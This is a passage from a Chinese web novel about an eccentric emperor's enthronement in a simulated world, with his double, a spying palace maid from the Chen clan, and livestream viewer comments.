更别提这个吃不饱穿不暖的时代了,塔恩甚至会担心谢吾德索求的不多。 恐怕非常讽刺的是,在这个时代的普通人看来,谢吾德还真的是当世绝代明君。 第46章 在绝大多数人都在思考的时候,有一个弹幕飘过。 【不过是一群小恩小惠就能够被收买的愚民。】 那群正在思考自己问题的观众拼命地打出问号。 这好像是一个洪水的口子,有其他人站出来也开始声援那个人了。 【真要有什么事情,就这种人背叛得最快。】 【一口吃的就能让他们叛变,没有一点长远的眼光。】 【你敢和他们当朋友吗?我怕有人给他们颗糖他们就能背叛我。】 【你是不是吃太饱了。】 【能说这种话的饿几顿就好了。】 【你在饿死的时候也还能有长远目光?】 【不然呢?你要她们去刺杀谢吾德?】 【你一定能在你妈饿死的时候拍手叫好,在你爸饿死的时候手舞足蹈的吧?】 【从长远来看,我觉得说这种傻逼的话的人没有活着的必要,快把资源让给有需要的人吧。】 【你高贵,你直接针对别人父母。】 【我不高贵,我就一穷上班的,你高贵,死一下。】 林耀祖看得眼角抽搐,里面还夹杂着大量乐急孝典绷以及单纯的脏话。 亲妈与亲爹齐飞,祖坟与长天一色。 当主播没有一个大心脏是不行的,这次是针对其他人的,但是也有很多时候这种攻击是针对她的。 网络是个匿名的地方,很多恶意就不加掩饰地被宣泄了出来。 她有点庆幸其他人都看不到这些东西,她能扛得住,这些宫女可就不一定了。 宫中的恶意固然多,但是却不如网络上那么纯粹。 林耀祖注意到有一道视线落在了她的身上。 那是尔雅。 尔雅一直都不说话,她只是坐在那里,看着前方,实际上她的目光没有落点。 林耀祖觉得尔雅是一个很深沉的人,不是那种负面的深沉,而是林耀祖总觉得她想了很多事情。 林耀祖也思考问题,但是思考得没有尔雅那么多。 “尔雅,你怎么不吃蛋糕?”林耀祖看着尔雅手中剩下的那一小块蛋糕, 尔雅比她大方,林耀祖是受不了看这群小宫女哭,但是尔雅从一开始就只给自己挖了一小块意思一下,剩下的全都分出去了。 “只是在想一些事情,不用担心。”尔雅从呆若木鸡的状态中脱离,又变成了一位优雅从容的大姐姐。 她的坐姿端正,让人觉得她像是千金大小姐,有一种很贵的感觉。 林耀祖是富二代,但是富二代之间亦有高低,尔雅给她的感觉就像是真正的豪门公主一样,那种一直都生活在条条框框中的的大小姐。 林耀祖并没有想太多,一深想就会觉得疑点重重,她现在只是觉得这是优秀宫女的平均素质。 毕竟尔雅之前说她们之前是三皇子的宫女,应该也算是精英级别的宫女了。 她对尔雅有一点雏鸟效应——怀疑谁也不会怀疑尔雅的。 这个从他穿越之初就给他提供各种帮助的大姐姐能有什么坏心思呢? 如果她有问题,那她还能相信谁呢?. 宫女住的地方基本都是大通铺。 林耀祖对于这样的环境勉强还算适应,她以前也是住过学校宿舍的。 她现在在谢吾德面前也能说得上话,住的房间相对来说其实已经算是比较宽敞的了,但是即使如此,也得和其他宫女住在一起。 想要光明正大地住得更好,基本还得指望谢吾德开口提一提她们的品阶。 宫中所有的一切都得仰仗皇帝的恩赐。 这些事情都是尔雅和林耀祖讲的。 尔雅对所有的事情都有一个完整的安排。 她觉得现在贸然向谢吾德开口不是一个好时机。 她们在谢吾德这里爬的太快了,容易引来不必要的嫉恨。 虽然只要想要进步那就会被人嫉恨,但是也没必要搞得很多人心态失衡。 这样,正好能和普通宫女多多接触,也算是稳固一下自己在宫女之中的人脉。 尔雅注意到了很多问题,但是林耀祖却忽略了很多问题。 比如说她和尔雅关系那么好,她本来也应该是三皇子面前的精英宫女,按照她的理论,她应该也是一个十分规矩的人,可是折算时间,林耀祖犯了一堆小错误,作为现代人有些动作在不经意之间就会漏洞百出。 如果她现在在名义上不是史官而是宫女,那这错误只会更多。 还有一点就是,那些宫女对接触她们一直都是有点忌惮的,甚至和她们的接触都不多。 林耀祖同样也不知道的是,在尔雅和林耀祖都不在的时候,这些宫女便会小声地讨论:“她们是谁呀?” 然而没有人想要去举报他们两个。 林耀祖和尔雅是最接近谢吾德的几个人之二,她们说话的分量可比其他的宫女要重太多。 除非有一天林耀祖和尔雅从这个位置跌落下来,大家集体搞一次清算,不然没人会把这件事情捅到谢吾德面前,而且他们觉得谢吾德也未必会认真处理林耀祖和尔雅的身份问题。 谢吾德也不是第一次做让人觉得离谱的事情了。 再说了,既然这么多人都没提出意见,那总该是有来历的吧。 皇宫这么大,他们也不敢说自己认识每一个人。 可能他们只是没问到认识他们的人. 尔雅站了起来,她和林耀祖说:“我出去透透气。” “哦哦,好的,注意安全啊。”林耀祖神经大条道。 尔雅笑了一下,在离开这里之后,七拐八拐,走到了一个无人的角落。 在那里,一个小宫女已经等候很久了,她在看到尔雅的时候,行礼道:“小姐。” 尔雅对着宫女微微一点头,说道:“我让你们查的事情有结果了吗?” 小宫女脸上稍微有一点尴尬:“还没有。” 尔雅不说话,就看着这个宫女。 宫女有点委屈。 瞪她有什么用?她就是一个传话筒。 尔雅也意识到了这一点,她被气得胸疼。 这么重要的事情,陈家是怎么回事? 谢吾德可能有替身是一件多么大的事情,替身和他长得一模一样,很多时候不经意流露出来的神态也是相似的,很有可能和他有血缘关系,从这个角度,甚至可能牵扯出谢吾德背后真正的势力。 谢吾德的母家邵家早就没落,甚至在谢吾德的母亲被赐死之后被退出了锦京,邵家都快从世家跌落到了寒门,落魄得要命,但是他们也有自己的传承,更有可能还有自己的想法。 邵家一直都无视谢吾德的存在,就好像他们家的女儿在宫中从未生过这个孩子一样。 因为谢吾德那独特的眼睛颜色,从皇帝到邵家都怀疑谢珖戴了一顶绿帽子,和琅琊王氏和临川陈氏相比,邵家是真的不敢说话,生怕皇帝一句话把他们全家都流放了,他们比这个世界上任何一个人都希望谢吾德能够死在宫中。 但是谁敢说,这背后没有其他的故事呢? 可是就这么重要的消息都告诉陈家了,陈家那边没传来结果是不想告诉她还是打了别的注意。 尔雅深吸了一口气。 她怀疑陈家是不是脑子有一个算一个都不好用。 尔雅直接转头就走。 小宫女一把拉住了她,因为尔雅是真的要走,她只要离开这里,她就不能跟上去了:“小姐,你那边有什么消息吗?” “陈家什么都不告诉我还想要从我这里得到消息?”尔雅甩开手。 “小姐小姐。”小宫女焦急地说道。 她如果什么消息都没得到,回去是要受罚的。 尔雅不在乎,但是她会倒霉的。 尔雅扭头:“那你自己打听吧。” 说完,她把手一甩。 尔雅才不想被道德绑架。 小宫女很可怜,但是如果她因为她没有告诉她情报而出事,那伤害她的也不是尔雅,而是把她派来的人。 如果因为有人受伤她就放弃自己的想法,那她这辈子连家门都出不去。 相比起来,尔雅只要流露出半点心软,那些如同鬣狗一般的人便会一拥而上,把这一份心软变成一步步的退让。 她是个女人,在这世道,即使是世家出身的女人想要挣脱原本的轨迹,那就必须得做到常人做不到的。 小宫女看着尔雅,似乎是在祈求她能够回心转意,可是尔雅只是迈开腿大踏步地离开了。 不管陈家想要做什么或者已经做了什么,现在他们很多事情都没有搞清楚,那就不能指望他们可以成功。 谢吾德的替身是从哪里来的?他的食物是怎么来的?种出食物的土地是怎么来的?是谁把这些东西发给每一个人的? 再往前推一点,他是怎么先于所有人赶回锦京杀死大皇子、二皇子的? 甚至最简单的一个问题——谢吾德是谁? 这个简单的问题有几个人敢说自己有一个绝对的答案。 尔雅越是接触谢吾德,也就越能够感觉到他那种深不可测的本质。 谢吾德所表现出来的东西已经让很多人觉得头脑发胀了,如果有一天谢吾德向这个世界展示他的所有秘密,那搞不好所有人都会集体发疯。 民间已经有很多人把谢吾德当成神明供奉了。 尔雅都能够想象在世家眼中,那不过是愚民被谢吾德蒙蔽了。 可是谢吾德的性格虽然浮夸,但是谁敢说他说的就是假的呢? 尔雅不确定谢吾德会不会是她的敌人,她现在看不到这么做的必要性,也看不到世家战胜谢吾德的希望。 他们当谢吾德是那些佃户,不管弄出多大的乱子,只要他们愿意镇压,谢吾德就会被镇压下去吗? 先做再想。 手握权力久了,反而意识不到谢吾德是一个比他们更加横暴的存在了。 她从鼻孔里发出了一个音,思考着自己如果有一天被陈家拉下水,她该怎么切割。 一群蠢货,可别哪天被谢吾德杀了还觉得自己无辜得要命。 第47章 登基的日子到了。 这一天并不是和日丽,天上是有一点点云,现在已经到冬天,即使是江南地区也会觉得冷。 这个天气是谢吾德特意安排的。 礼部也不是很想承认谢吾德这个皇帝,但是他们至少得把应该做的事情做好,不然谢吾德会杀了他们的。 礼部尽职尽责,但是谢吾德并不喜欢大晴天,这样会很晒,所以他特意在看了今天的天气之后在天空上制造了一片云,挡住了太阳。 做完这些事情之后,他把亚夏喊出来了:“帮朕好好登基,事情就交给你了,忍人。” 谢吾德用力地一拍亚夏的肩膀,亚夏一个后撤步,然后压低身体给谢吾德来了个扫堂腿,谢吾德在亚夏的脖子上,两个人同时摔在了地上。 谢吾德头磕在了地上,亚夏脸着地。 但凡现在他们两个哪一个有身体,那这大概就是一次流血事件。 同一个老师都破不了招,同一个人在这种随便打打的情况下更破不了招. 谢吾德这个身体还没有起床,亚夏睁开眼睛的时候就知道这货昨天又熬夜。 他虽然没有资格说谢吾德熬夜,但是他就不能考虑一下今天不是他自己上来顶班吗。 谢吾德平时都是不在皇宫睡,他在锦京皇宫的地下搞出了一个房间,这里水电设施齐全,甚至还有网络,没有老鼠蟑螂,看上去完全就是一个现代化的房间。 这里也没有出口,谢吾德也不需要门口,他不需要走寻常路。 亚夏躺了一会,叹了口气,觉得自己的命苦。 谢吾德不爱做什么他就真不做了,但是亚夏答应了好歹会去做,哪怕是糊弄。 十分钟之后,亚夏出现在了一个角落,打着哈欠溜达出来了,扭头就看到了着急的余文彦。 亚夏不认识余文彦是谁,谢吾德也不会给亚夏发记录,亚夏也许在围观谢吾德的时候见过余文彦,但是他也没把人给记在脑子里,不过余文彦认识他就好。 余文彦很急。 亚夏看这个人很急,就知道这个人是他需要找的人。 余文彦看上去完美地诠释了什么叫皇帝不急太监急。 要是余文彦没有那点胡子,亚夏真要以为他是什么太监总管了。 余文彦没有穿官服,毕竟他在谢吾德这还没有混出一官半职,就不可能有官服。 事实就是这么荒谬,李真都有了一个锦衣卫指挥使的身份,但是余文彦还没有一个正式的身份。 朝堂上的人大多都已经把周元的位置看作是余文彦的了,不然皇帝不会忘记丞相这么重要的位置的。 余文彦大概也是能够感受到朝中的这些气氛,所以他也是分外卖力地想要在谢吾德面前刷好感,把这个位置落实到自己的身上。 谢吾德可能潜意识里的确有这个意思,余文彦这个人还挺有趣的,是他从一堆人中挑出的幸运儿或者称倒霉蛋,之前余文彦侍奉二皇子对谢吾德来说也并不值得在意,余文彦的能力是肉眼可见地不错,既然好用,那就可以一直用到榨不出他的剩余价值了。 如果一个丞相的位置就可以让余文彦拼命地给他干活,那谢吾德绝对不吝啬这个位置。 ……只是谢吾德忘了这件事。 如果余文彦知道这件事情已经带回吐血三升。 余文彦絮絮叨叨说着今天的安排。 亚夏跟着余文彦走,他和谢吾德有着同一个喜欢站在最后的习惯。 只有尔雅发现亚夏和谢吾德不太一样吗? 余文彦也发现了。 只有林耀祖是个神经大条的。 但是余文彦识时务,他可不会戳破这一点。 而且他感觉亚夏和谢吾德有时候给人的感觉一模一样,偏头看他的姿态也很像,只要谢吾德也闭嘴,别笑嘻嘻的,他完全发现不了区别。 在路过宫殿的时候,亚夏看到一个老头在角落里蹲着。 亚夏注意到这个位置是因为他就是个角落生物,喜欢在角落里一站,观察生物活动。 这个人占据了他的生态位,而且他在看到亚夏的时候露出了仿佛被他霸凌了一样瑟缩的反应。 亚夏打了个响指,吸引了余文彦的注意,在余文彦看过来的时候,亚夏的大拇指往那人身上一指。 余文彦看了过去,发现那是谢珖。 “陛下?”余文彦不知道谢吾德的意思。 亚夏又指了一下。 余文彦还是没明白亚夏的意思:“太上皇怎么了?” 亚夏恍然,明白了这个人的身份。 他没问题了。 这货色被谢吾德霸凌就霸凌了。 纯属恶人自有恶人磨。 谢珖也听到了这边的动静,他看着亚夏不似作伪的表情,更加憋屈了。 谢吾德这混蛋又增加了折磨他的方法。 虽然贵为太上皇,但是这段时间都没人伺候他,缺衣少食的,谢珖为了避免赵武灵王的结局,他已经开始用自己身上的东西和那些太监宫女换东西了。 本来谢吾德让他滚过来,他是想要和谢吾德谈一下条件,结果他在被拉过来的时候,李真仿佛看透了他的想法:“您现在好歹能和人换吃的,但是您和陛下谈条件,陛下说不定就要把您关在房间里活活饿死了。” 李真想想,补充了一句:“不带收尸的那种。” 一般来说,像他这种皇帝的狗腿子、白手套都应该把罪责往自己身上揽,皇帝就是出淤泥而不染的莲花。 可是谢吾德不是那个一般来说。 这事被谢吾德知道了,谢吾德还得拍手叫好。 谢珖怂了。 他一直都不是一个很胆大的人。 他不喜欢赌。 就像是他不敢赌邱腾能不能把萧国打退,只是一昧求和苟延残喘的人。 他不敢赌谢吾德的良心。 不过这世界最疯狂的赌徒也不敢赌谢吾德的良心。 谢珖只敢用眼睛谴责亚夏。 太坏了,谢吾德。 亚夏表示,别的锅不好说,这锅他还是喜欢背的. 登基大典的龙袍的缝制速度还是很快的,谢吾德并不怎么挑剔,他不要求质量,只要求速度,而且他不需要花里胡哨的花纹,他喜欢的不是这个时代的精致。 织造局肯定不能糊弄谢吾德,他们人多,再加上谢吾德给他们提供了大致的图样,他们苦熬了将近一个月,做出来的衣服还是让谢吾德比较满意的。 亚夏的审美和谢吾德一致。 亚夏看着这些太监给他换衣服。 虽然他们都不喜欢被人碰他,但是登基的冕服不是一个人能够搞定的。 这套衣服一层套着一层。 现在天气已经逐渐转凉了,但是在几件衣服套上去之后其实并没有多么暖和,亚夏只觉得沉,胳膊举得也有点沉。 余文彦在一旁絮絮叨叨地和亚夏说着今天的流程。 谢吾德不打算按规矩来,不想去祭祀天地和先祖,这就导致他们需要重新制定许多章程。 从谢吾德搞事的那一天起到现在也一个多月了,余文彦能让礼部在一个月内完成各种安排可是花了他大力气,他甚至一度和礼部的那些人动起手来。 这可不是一个容易的工作。 因为余文彦絮絮叨叨地说了一堆,但是亚夏一直都没有说话。 余文彦怎么安排都行,亚夏对这件事情的态度就是都行。 亚夏谢吾德就是他,谢吾德虽然把事情丢给他了,但是这件事情不也是“亚夏”做的吗? 谢吾德没干什么,亚夏也没干什么,余文彦才是老黄牛。 更何况亚夏一想到余文彦是在给谢吾德干活,那亚夏对他的同情更是无法用语言来描述。 余文彦觉得今天安静版的谢吾德也挺好的,至少不会说些奇奇怪怪的话,就是他不太确定亚夏有没有把他的话给听进去。 亚夏的表情稳定到看不出任何起伏,跟他说话就好像在跟雕塑说话一样,显得余文彦好像在犯傻。 今天尔雅和林耀祖也在。 尔雅认出了这是亚夏。 谢吾德有替身这事她和陈家说过,她觉得亚夏就是谢吾德的替身。 但是她现在觉得哪里似乎不对劲。 有哪个皇帝登基会让替身上? 这是登基,不是危险的事情。 正常来说,皇帝都不想要替身,因为一旦有了替身,而且能让对方完美模仿自己,那皇帝恐怕就要睡不安稳了。 毕竟谁能分得清谁才是真正的皇帝呢? 万一替身做得比皇帝还优秀那该怎么办? 尔雅觉得论才学,这位替身比谢吾德要更突出一点,至少他比谢吾德更能沉下心做事。 如果亚夏振臂一呼,恐怕朝中很多人可能都更愿意去支持这个会按照规矩,能够沉下心做事的皇帝。 而且替身也更好拿捏。 就算真的有必要留一个替身,那皇帝需要替身帮他隐藏自己的形迹尚在常理之中,但是让替身替他登基,那到底谁才是真皇帝? 登基恐怕是任何一个皇帝都值得铭记的一刻,这证明他们手握权柄,实现了之前人生最高的理想,开启了自己人生的新阶段。 一般人会缺席这样的重要事件吗? 虽然说谢吾德不是个正常人,但是尔雅还是有了一个更加糟糕的想法:难道说谢吾德已经看透了陈家的阴谋了? 尔雅虽然有联系外界的渠道,但是在宫中终究比不上外面,更比不过在尔雅看来手握未知的势力的谢吾德。 陈家干的那些事情能瞒得过谢吾德吗? 谢吾德虽然疯疯癫癫的脑子不正常,但是唯结果论,如果谢吾德真的是一个没什么能力的人,他又是怎么强硬地当上了皇帝? 世家高高在上太久了,傲慢已经是完全藏不住的,即使面对着皇帝,偶尔也会觉得皇帝不过是皇宫中的一只被困住的鸟。 尔雅对谢吾德的神异之处是半信半疑的,如果谢吾德实际上是个老奸巨猾的人,现在只是在装疯卖傻该怎么办? 现在谢吾德的不对劲让她怀疑谢吾德是不是就等着世家上套? 但是谢吾德要是真聪明,那他就不可能忘记自己的替身是哑巴,所以让替身来代替他的目的是什么? 尔雅觉得自己的大脑都要被烧干了。 好像泽呢么解释都可以解释得通,但是怎么解释都好像不合常理。 聪明人想的多,但是谢吾德着实是一个难以理解的人,生活在正常世界的正常人类都难以揣测谢吾德思考方式,这种时候聪明反而是一种拖累。 尔雅可以猜到谢吾德的一些反应,但是怎么都没法猜到他的思考方式。 但是现在登基大典已经要开始了,她已经没有办法通知陈家了,而且只要一想到昨天陈家干的糟心事,尔雅就不太想和陈家说,她就想要看看这群家伙是打算怎么作死。 尔雅又和亚夏对视上了,尔雅比亚夏要矮上一个头,在这个距离上,亚夏需要低头看她,亚夏的目光依旧沉默到令人窒息。 他垂下眼,睫毛挡住大半的眼睛,他的眼神就变得难以被人看清,反而让他此刻的神态和谢吾德重合了。 尔雅莫名地抖了一下,呼吸好像瞬间被人攥紧。 她忽然想,亚夏真的不是谢吾德吗? 或者说,所谓的替身只不过是谢吾德给她这种世家的眼线挖的陷阱? 还是说……谢吾德他疯得厉害,这根本就是他的疯病呢? 第48章 亚夏能够感觉到感觉尔雅似乎压力变得很大。 如果他打开分析,就能够将尔雅的表情所代表的想法八九不离十地推测出来,效果直逼读心术。 虽然亚夏手里的技术可以做到这种事情,甚至光凭亚夏的人生阅历就能够看出尔雅的想法,但是没必要,因为亚夏知道关于尔雅的所有事情。 尔雅本名应该是陈雅,她是陈家的小姐,从小就颇有才名,就算是她的那些兄长也远不如她。 本来陈家是想要把尔雅嫁出去的,他们并没有让陈雅脱离这个时代一个女人应该有的人生轨迹的打算,不是瞧不起尔雅,他们也想着给尔雅找到一个好夫家,到时候能让陈家再次得到助力,但是尔雅对相夫教子的生活毫无兴趣,而且嫁给别人,成就别人的事业吗? 最后尔雅直接假装成家里的侍女偷偷地溜了出去。 在这个父权时代,尔雅这个行为一点都不安全,搞不好就会出现刑事案件,但是她的确有自己的本事,混出了一点名堂,和三皇子搭上了线。 虽然谢敬明是因为尔雅的美貌才和她接触,但是三皇子对尔雅的喜爱完全就是因为尔雅本身的能力。 不过尔雅最大的败笔大概就是没想到三皇子是一个没有太大能力,却又有点刚愎自用的人。 只要不把他打服,他就会觉得自己很厉害,变得有很多自己的想法。 但是谢敬明直接掺和到大皇子和二皇子的争夺之中,还那么快地被拿下,着实是超出了尔雅的想象力。 谢敬明在掺和进去之前不和女人商量,也自然不会告知连外室都算不上的尔雅。 尔雅是个聪明人,所以她觉得一般人都不会犯这么低级而愚蠢的错误。 她是混进宫中的,本来想要试试看能不能把谢敬明给救出来,有着救命恩人的身份之后说不定能够更好地拿捏他。 但就像是尔雅没想到人能蠢到那种程度一样,尔雅也没想到林耀祖作为一个更好的机会出现在了她的面前,还让她有机会接近谢吾德——他可比谢敬明要有前途多了。 谢敬明直接被她丢到脑后了. 亚夏觉得谢吾德应该也知道尔雅的不对劲。 谢吾德虽然不像他一样知道这个世界所有的资料,但是尔雅肯定会让他直觉觉得不对劲的,他们的直觉一直都是比较准的,只不过亚夏会觉得直觉容易滋生歧视和偏见,让自己看不清事实,而事实也是如此,但是谢吾德不会在意这种小事。 谢吾德因为信仰的影响,其实是一个相当自信到自傲的人。 他觉得这个世界上任何一个人都可以做他的信徒。 就算今天不是,明天也有可能是,今年不是,明年也有可能是。 反正早晚都是他的人,他就没必要计较太多。 尔雅是谁的人并不重要,只要在他这里待一天那就是他的人,是他的狗。 更何况尔雅展现出来的胆识惊人。 亚夏和谢吾德都欣赏这种胆子非常肥的家伙。 不管能不能做成,敢做就值得敬佩。 余文彦见亚夏的目光落在了尔雅身上,他也没说什么。 余文彦也知道一些事情,不过这都不是很严重的问题,而且这大概是谢吾德游戏的一部分,他要是开口和谢吾德说这些话难免会有折损皇帝面子的问题。 真把皇帝当傻子,皇帝就能让他在各种意义上摸不着头脑,所以他也很识趣地没有提。 “陛下如果没有其他的什么事的话,那就请上轿吧。”余文彦对着亚夏说道。 亚夏看着那个轿子,感觉有点尴尬,真的要上吗? 几个现代人坐过轿子,顶多在景点会有这样的项目,但是亚夏也从来没去坐过,就算不提他抠门的事情,他那么高一个人,肌肉结实,体重也不算轻,总感觉就像是在虐待人类。 “陛下,有什么问题吗?”余文彦觉得皇帝这个状态很奇怪。 之前让人帮他穿衣服他就有点不太适应。 和满脸冷漠的表情相比起来,他的心态还挺柔软的。 他看了看那些要抬着轿子的太监,忽然想起那些太监似乎是人。 该不会皇帝他……在心疼人吧? 余文彦的表情有点奇怪。 这货疯了吧? 余文彦虽然是所谓寒门,但是寒门也不是普通家庭,把底层人当人这种事情还真是少见。 在古代这没什么,但是亚夏不觉得自己的三观经不起考验。 而谢吾德在亚夏的耳边催促了起来:“你快点,不要在这里磨磨蹭蹭的。如果你不愿意上的话,那我先帮你上一下,我来坐这个轿子。” 谢吾德才不像亚夏一样会纠结这种事情。 三观是什么东西? 亚夏叹了一口气,这有什么区别呢? 这群人该干的活还是得干,同一个身体,同一个体重,谢吾德比他还活泼,还不如他来,起码不怎么折磨人。 亚夏坐上了轿子,叹了一口气。 身上的衣服无比的沉重。 他坐在这个轿子上,眼睛发虚地看着天空。 这个世界是他主持创造的虚假世界,只有上面的天空才是真实的。 他又不是传说中那种强力的造物主,想要创造一个完美的世界不仅需要难度实在是太高了,至少他的物理水平以及他们所掌握的科学技术的水平,都没有达到能够完美地复制一整个宇宙的程度。 就连需要的起爆能量都达不到标准。 亚夏不打算把这个世界的人看作是真正的人类,他们是他的社会科学观察目标,模拟世界项目最开始的时候,这些“人类”的反应并不怎么人类。 想要创造人类种群在实践难度上总是会遇到各种问题,他可是花了很大的功夫才调试好。 为了数据更符合真正人类,亚夏把相似性拉得太高了,以至于真正接触的时候根本就没办法发现他们和人类的差别。 亚夏并不是一个冷酷的人。 他只要不看就不会被影响,只要不接触就可以只做个看数据的观测者,但是这么做是会有后遗症的。 他和人类社会脱节太久了。 比如他现在在面对绝大多数人的时候都不太想说话,所以亚夏不仅是被谢吾德威胁到了,还是温特劝他不能继续宅下去了. 世家中很多人都看不惯谢吾德,但是登基大典他们基本上来了个齐全。 亚夏坐着轿子出现在文武百官之前,他忍不住捏紧了拳头,不过长时间保持面无表情的脸,让他在这种时候还能保持脸上的镇定。 他的眼神空洞,告诉自己这群家伙就是一串数据,是超级逼真的模型。 有力的仅有眼神好的人和亚夏对视上,被亚夏的眼神给吓到了。 今天脑子有病的皇帝虽然没有带着那种看好戏的表情,但是这没把人当人的眼神还是一样。 登基的仪式并不是很复杂,毕竟谢吾德自己都说了,他不喜欢麻烦,但是步骤不复杂并不代表就不消耗时间。 总不能让谢吾德跑到一个台子上面声称自己是皇帝,就结束这场登基大典。 总得把时间拉长才能显得庄重,给人足够的压迫感。 亚夏听着这乐曲,觉得也幸亏是他来,如果是谢吾德的话,大概会觉得这音乐有点难听,直接大手一挥用别的音乐替换下来。 亚夏勉强算是一个面子人,虽然他对面子的定义有时候和谢吾德一样让人摸不着头脑,但是他不喜欢把人际关系弄得太难看,只要不触及他的底线,他还是很喜欢调和折中的。 谢吾德现在又没有声音了,他觉得这部分无聊,直接离开,准备等亚夏再喊他。 温特倒是一直在,他其实也很好奇,而且想要看好戏。 他没有声音是因为静音了,估计在屏幕后面笑得快要岔气了。 亚夏都能想到他表情越严肃,温特就笑得越厉害。 亚夏看着下面的那些人,目光在临川陈氏的位置上多看了几眼。 为了增加谢吾德的游戏体验,他曾经给临川陈氏增加了一些金手指。 之前临川陈氏静悄悄的,肯定是在憋大招,但是到现在都没有动静,不知道他们打算什么时候动手。 ……应该就是现在了。 亚夏一步一步地完成余文彦之前指导他做的事情。 余文彦也算是松了一口气,亚夏看起来什么都没听,但是看他现在的样子,倒是把该记的都记住了。 动作上能够看出来他是在敷衍人,但是他该做的全都做到位了。 皇位在他的手上就像是给小孩子玩的玩具一样。 ……希望这天下能重归太平吧。 “好了,完成了。你回来吧。”亚夏把谢吾德喊了回来。 谢吾德匆匆忙忙地咽下嘴里的饼干,跑了回来。 谢吾德在别的时候不愿意搭理亚夏,但是在这件事情上他还是很听话顺从的。 亚夏打算直接溜走。 他知道之后临川陈氏肯定是要搞事。 他是策划,要是临川陈氏做的事情让谢吾德生气了,谢吾德说不定会抓着他从他这里找心理平衡,而且他莫名的有一种不太好的预感呢,也不知道是来自哪里。 总归提前跑了没有什么坏处。 他也不是很想陪谢吾德玩。 然而就在亚夏准备溜的时候,他忽然感觉到自己好像又得到了身体的控制权,眼前又忽然一黑。 亚夏对此的第一反应是谢吾德又忽然不想干了。 谢吾德的反复无常不是一件罕见的事情,而且他想一出是一出,说不定就抱着折磨亚夏的心情,想要让他也来体验一把皇帝登基的感觉。 对于亚夏来说,当皇帝不是一件值得高兴的事情。 就在亚夏准备质问谢吾德的时候,他忽然感觉到一双手把他从一个地方拖了出来,自己被人夹了起来,一个声音在他身后响起:“顺便一提,这是我儿子,以后他就是太子了,你们有谁对他有什么意见吗?” 亚夏惊呆了。 他一扭头,看到一张稚嫩的脸和他对视,那个人显然也很震惊,这张脸亚夏也很熟悉。 他小时候不就长这样吗? “……温特?” “……是我。” 亚夏和温特同时沉默,然后不约而同地低下头给谢吾德来了一口. 亚夏和温特同时表现出了自己的愤怒。他们没时间陪谢吾德玩。 谢吾德是一个大闲人,但是谢吾德闲是因为他没有工作,但是他们有。 谢吾德这个家伙每天只要挂机,把事情交给其他人处理就好,但是亚夏和温特的工作离不开他们。 谢吾德反手用手捏住了他们的脸颊。 他不怕温特也亚夏搞得太难看,他们能做的最大的抗议就是咬他一口。 面子人是这样的,更大的挣扎是绝对不会做的。 林耀祖不知道谢吾德什么时候在这里藏了两个小孩。 这两个孩子和谢吾德长得十分相似,甚至都不需要谢吾德说那句话就能够看出他们之间的血缘关系。 这位正是那两位曾经被废掉的太子,在荣昭宗谢萍被立之前的那两位太子。 余文彦和李真的震惊一点都不比林耀祖少。 余文彦昨天还亲自来检查了一遍,他对于这里的一切都了如指掌,他甚至都没怎么好好睡,早上还借了妻子一点脂粉遮一下自己的黑眼圈。 这下面不会有人或者给人藏人的机会的。 如果这不是谢吾德亲自闹出来的幺蛾子,他现在怕就要汗流浃背了,这绝对会是重大安保事件。 李真在这深秋中,汗水已经打湿了他衣服的内衬,他比余文彦还要紧张。 虽然只是虚惊一场,但是之前看到下面有人,他差点吓尿了。 谢吾德有多招恨,他这个已经开始掌控锦京情报的人最清楚了。 现在李真和余文彦还有一种非常强烈的冲动,那就是掀开这个下面的布帘看一看是不是有什么机关。 ……这么做合适吗? 按理来说,这两位应该就是未来的太子了——其他人反对绝对无效,但是太子是可以随便塞在一个地方,然后随时掏出来的吗? 而且看这两位小太子似乎也不是那么情愿吧。 他们俩看上去也有四五岁了。 如果他们没记错的话,谢吾德如今才十六岁吧。 他是什么时候生的这两个孩子? 这已经不是天赋异禀的问题了。 就算古代并不提倡晚生晚育,但是这也太早了吧。 余文彦也不是没怀疑过这两个人其实不是谢吾德亲生的,可是他们长得和谢吾德实在是太像了。 以谢吾德一向表现的离谱程度来说,说他们是谢吾德自己和自己生的,他们都敢短暂地信上两秒钟。 谢吾德在他们心中就是这样离谱的人。 别的皇帝立太子,朝臣还有资格说上一两句的话;谢吾德想要立太子,朝臣是真的一句话都没有资格说。 所有人只是谨慎地打量着亚夏和温特。 亚夏和温特干脆躲在谢吾德身后。 在同一个世界,同一个人只有一具完整的身体。 他们两个以这个姿态出现也基本是受到这条规则限制。 “他把我拖过来干什么,单独把你揪出来可以搞个像是狮子王一样的画面。”温特小声抱怨。 亚夏用胳膊肘肘了他一下:“你把我当成祭品献祭掉了?你现在不也宅得厉害,我看你也得社会化一波。” 温特踉跄了一下。 亚夏看着温特,温特是一瘸一拐的,他膝盖上有伤,这和他是不是被信仰的神明无关,甚至说,就是因为他是被信仰的,才变成了治都治不好的瘸腿属性。 所以说当神有什么好的? 法网本身和意志绑定,信仰的数量太大会被反向污染的。 “你现在的当务之急是找个男宠。”亚夏在沉默很久之后忽然说道。 温特想都不想就给他来了一拳:“你才cos李承乾!” 太子加瘸腿加男宠。 自己在讲什么冷笑话,自己第一时间就能搞得明白。 不就是想要小小地出卖一下自己嘛。 谢吾德笑出声了. 在这登基大典上的不仅有世家贵族,还有一些平民百姓。 他们站在最远的地方。 谢吾德其实并没有给他们安排他们应该活动的区域,只是这群人觉得自己不该出现在前面,和谢吾德一起在角落当蘑菇。 谢吾德能够感觉到自己的信徒在这些底层的平民百姓中增加,谢吾德觉得自己的信徒就应该得到更好的待遇。 世家对他还是有一点轻视,但是这些普通人在谢吾德发的食物到账的那一瞬间,信仰都要充值满了。 这氪金划算的不得了,显得世家更加无用且碍眼了。 既然这群人这么可爱,所以谢吾德让余文彦安排了一些百姓进来观礼。 现在这群百姓就像是谢吾德的狂信徒一样,谢吾德说什么他们都高兴。 谢吾德没有直接给他们发钱,但是给他们发了食物。 对这群生活在最底层的百姓来说,钱固然重要,但是更重要的是能不能吃饱,能不能穿暖。 只要能够让他们或者是他们的家人吃饱穿暖,他们做什么都乐意。 正巧,这对于谢吾德来说,似乎都不怎么难。 现在他们已经把谢吾德奉为神明了,目前的表现形式仅仅是在家里立长生牌位。 对于他们来说,就像是在看盛世的诞生一样。 之前整个荣国和荣国的百姓憋屈了那么久,现在总算是要到达上升期了。 谢吾德冲着下面的人挥挥手。 朝臣面无表情,但是那些前来观礼的百姓倒是爆发出巨大的欢呼。 谢吾德也很喜欢这种仿佛巨星一般的场面,他脸上带着笑容,让亚夏尴尬得脚趾都要把地面给抠出一个洞。 